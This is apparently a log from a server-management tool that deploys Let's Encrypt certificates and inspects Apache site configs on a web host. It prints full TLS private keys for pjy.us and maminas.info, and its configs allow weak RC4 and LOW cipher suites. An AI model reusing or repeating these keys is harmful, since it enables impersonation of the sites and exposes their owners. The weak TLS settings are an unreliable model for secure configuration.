    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-02 13:13:13: 

chmod 755 /tmp/pkp696449; /tmp/pkp696449; rm /tmp/pkp696449

2026-04-02 13:13:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1248

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5321
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_stage.conf	1430

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf	1144

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 2298e5132e19c3f8863e74b7041ba773
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 385cc53c31cc4c12f73828e0bd09b842
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 18e0a6f050b7fc693b0e206361fa0ab4
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= aadf843833cbc425074d246f627ceac2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 2298e5132e19c3f8863e74b7041ba773
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp796340:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-04 06:00:02: Establishing a connection
2026-04-04 06:00:03: Establishing a connection
2026-04-04 06:00:03: 

PUT: /tmp/pkp117254

#!/bin/bash
if [ -d "/var/www/maminas_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-04 06:00:04: 

chmod 755 /tmp/pkp117254; /tmp/pkp117254; rm /tmp/pkp117254

2026-04-04 06:00:04: 


1


2026-04-04 06:00:05: Establishing a connection
2026-04-04 06:00:05: 

PUT: /tmp/pkp884865

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
cat > b6_TJ-gK3-F5QgeyAGoYxx9NAfZRVGIPcgcIEp0TKw0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
b6_TJ-gK3-F5QgeyAGoYxx9NAfZRVGIPcgcIEp0TKw0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 b6_TJ-gK3-F5QgeyAGoYxx9NAfZRVGIPcgcIEp0TKw0
cat > A588sOQpHd0l7HFuLWZXgm52aFEsbewzae0I65YHpv0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
A588sOQpHd0l7HFuLWZXgm52aFEsbewzae0I65YHpv0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 A588sOQpHd0l7HFuLWZXgm52aFEsbewzae0I65YHpv0


2026-04-04 06:00:05: 

chmod 755 /tmp/pkp884865; /tmp/pkp884865; rm /tmp/pkp884865

2026-04-04 06:00:05: 




2026-04-04 06:00:16: Establishing a connection
2026-04-04 06:00:17: 

PUT: /tmp/pkp857644

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
rm b6_TJ-gK3-F5QgeyAGoYxx9NAfZRVGIPcgcIEp0TKw0
rm A588sOQpHd0l7HFuLWZXgm52aFEsbewzae0I65YHpv0


2026-04-04 06:00:17: 

chmod 755 /tmp/pkp857644; /tmp/pkp857644; rm /tmp/pkp857644

2026-04-04 06:00:17: 




2026-04-04 06:00:17: Establishing a connection
2026-04-04 06:00:17: 

PUT: /tmp/pkp921676

#!/bin/bash
temp_file=$(mktemp)
TARGET=aa64a65ef2076a4bf3eeaac96e0b38a2.crt

cat > $temp_file <<'endmsg'
b5:d6:ed:87:f8:8e:6e:3c:e9:be:89:72:07:c7:f5:54

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBXAWA34o7ai+54aZvtNpH9PdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA0MDUwMTQ1WhcNMjYwNzAzMDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCh
jnJ0SITHxSxMAjZRLhMMMFfMcV8yuK48c3+qOmF//mT64OKOU2vUVCva4re/Nz8G
jr9XIaZeZgKku9N9hZW3A9CLWxxQiJQ34WmNfZ39L7EaiQfD0zPbJJraAL6AxudC
pHDoEDYMUbTLTWDn9ad5E1/on0NH+DVV0latx1XeSsDNwVwhKeKv1EE4r7PYgLcv
LbNbIO7eM9twp3mdpOkmo7G2NERmS6+I7zV+CKkp708PzWoLpitAYA3rtpkC7U9s
FbbpBVs9R/5eEIc7LaptxH1RdkZ8NeQpNrf6SEN9giLKwRUU8CuFKn7h08Kza2Sf
egQRVTt97/pjzMf8T4S3AgMBAAGjggIqMIICJjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU82Yxz2U5
WLpV/91p5P9agKCs6oQwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxtYW1pbmFzLmluZm+CEHd3dy5tYW1pbmFzLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy85NC5jcmwwggEKBgorBgEEAdZ5AgQCBIH7BIH4APYAdQCv
Z4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ1XE+ojAAAEAwBGMEQC
IFbP3X59qV1IKfqEU7UF3ClBdc4pgRd7112XglyOniJFAiA7FSyyA+zb73BWesw2
ndwdnNlU4+shOhIF8Osq9UpRSwB9AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFz
gJ4YGOs6AAABnVcT6hcACAAABQAFtUsqBAMARjBEAiAmZ2cWBGmCUfNcKz6VW1cV
0kcLk4gSRpt3KPgSOdYUeAIgBSwXPUZyGz7tGK7iRhrcrlwZvrDBLgICeGy8d/2M
gRUwDQYJKoZIhvcNAQELBQADggEBAI6DF6BdWymSNaWwWAqTiFJe/Ks1/dbF+1qf
t9n88Y0vpDld2YBpH74MnCjSc5re0sCSRIKkw4MgLdOYSl87ypf0n5Xr3Xu8hbSt
LKyiLWPxc+igRdSe34RHPNnlKFAFDF+GtmBK/wytnrSZ7uNbWnDL7w81gswna0fm
pwa2AR5+QSDynLJhTz93yzPoXgd6a3CJBZJ/mEj5lmCqBta+6HcDKsP62UiWxAr6
f+Ml+W+uuJ069mrVUlbbdKq504csKirvahKcbw5l0gNUCUBh9bwvPVh+3fIzdTRv
jxoAgWfDt9ajSPm3GuO6l+jxwcwso8SZqX1giUA9HyGq8CnB5LY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQChjnJ0SITHxSxM
AjZRLhMMMFfMcV8yuK48c3+qOmF//mT64OKOU2vUVCva4re/Nz8Gjr9XIaZeZgKk
u9N9hZW3A9CLWxxQiJQ34WmNfZ39L7EaiQfD0zPbJJraAL6AxudCpHDoEDYMUbTL
TWDn9ad5E1/on0NH+DVV0latx1XeSsDNwVwhKeKv1EE4r7PYgLcvLbNbIO7eM9tw
p3mdpOkmo7G2NERmS6+I7zV+CKkp708PzWoLpitAYA3rtpkC7U9sFbbpBVs9R/5e
EIc7LaptxH1RdkZ8NeQpNrf6SEN9giLKwRUU8CuFKn7h08Kza2SfegQRVTt97/pj
zMf8T4S3AgMBAAECggEANNW6Nq9UxWSFdSIwE2KHFjBlNlZJdPQS/3Aia1CGfG59
JdMQJM3BcQJKCV6mCyINOZ7LkrpNh4fDC47lvqJGcUENHdYhL3FLT+8nLv/LAHdt
aykvYeqbheq1veAKbWEfVpsi1bIfiu3Zu7dFnvam26Drd89GGK5i+vs8H78WJQk1
phn7QXQ8kZpy7oJgWew8rywdLtGtQDmTub6onyd3tKPRbwRCBkt729R1QgiVGecP
uxLk9WjzJbqlZxAskpX4E5RLZW3JgLAuApMNaM12pmgfdeoi0ODiFyYiPHH81n3k
TUpCyUqPwJbLVf0D4hKvyXkUAIxuS3qintTu5vRcEQKBgQDjWNZCVij1RQMbMLWn
A/wE52FeHC7xF0K05zFCdD+TTrSD0L5EldHoxSRxKI6AGeN6lw0b/NJfGMPlxGH1
R5/1gq6nO2w0/EQM9MLTo6kkBS8/quFjoNt8jHP4LG4UeLR6qM5ZQdZw+LXTr/02
6+sGuupFsXVtoUHdshcMDQPI+QKBgQC16u5z6y/2oM33Cw3/o+Lw2en5aGGiBeDG
j71mBWINZpDOqs6BWsJxboTF21ySsP4J7qs2CNUazJXxvUVtURZ+3EudH+brPnOB
Y7+sWvxqXXcz518qFHZCTFyV/hSNNHnSqeoJkyKaTCpgcEQlw0pPGp9feGoVgSDx
Qm5e5xlXLwKBgD9g3qozlst5Z7pGw/1BcRp03oH73WI8l84SvXrHKYoJYO12XfSE
x7Xab6RUKBWyIeZlAbSRsJvuLX56VsyoIQGyYrogKLREtzvdaArUDy0JfPiEzLyX
dVitVw8SY8W1OKsRMCVV41AvJZFT+IU9E5IWvYScSh473D7PjPlBD5MRAoGAFEyn
2RWIX5vn/8YjBMCz5S5b1nHYWy0OvPlzJ/w3yckFJZqXuoV3JxMvC6kDtna7kj4o
qrnnlbr4jGYTZjRjLzrD0T+rE9r/JpQL4l6wxemyEH+j9d0cqR8+QZp9jpgpc+Fz
9SeO9+rB28sLP6+ADj2pRQz5wXaMR3+jM0HUaQ8CgYBwAhUfbnLRtDvTC65ZbPZP
rYKOHmLt9wdARBYCTl8IZWWcufJUdU8AoyttZ9sYUdPVzMi8XajHLfiP9hTy/SeK
gw3lknkuUhRjgpWo9yDj9Xfbly0i7xB/pTsPdnSxKgW8Q7JokLTIRJace5p60THl
gC6JB4SPToJd5jTE0Q+Ezw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

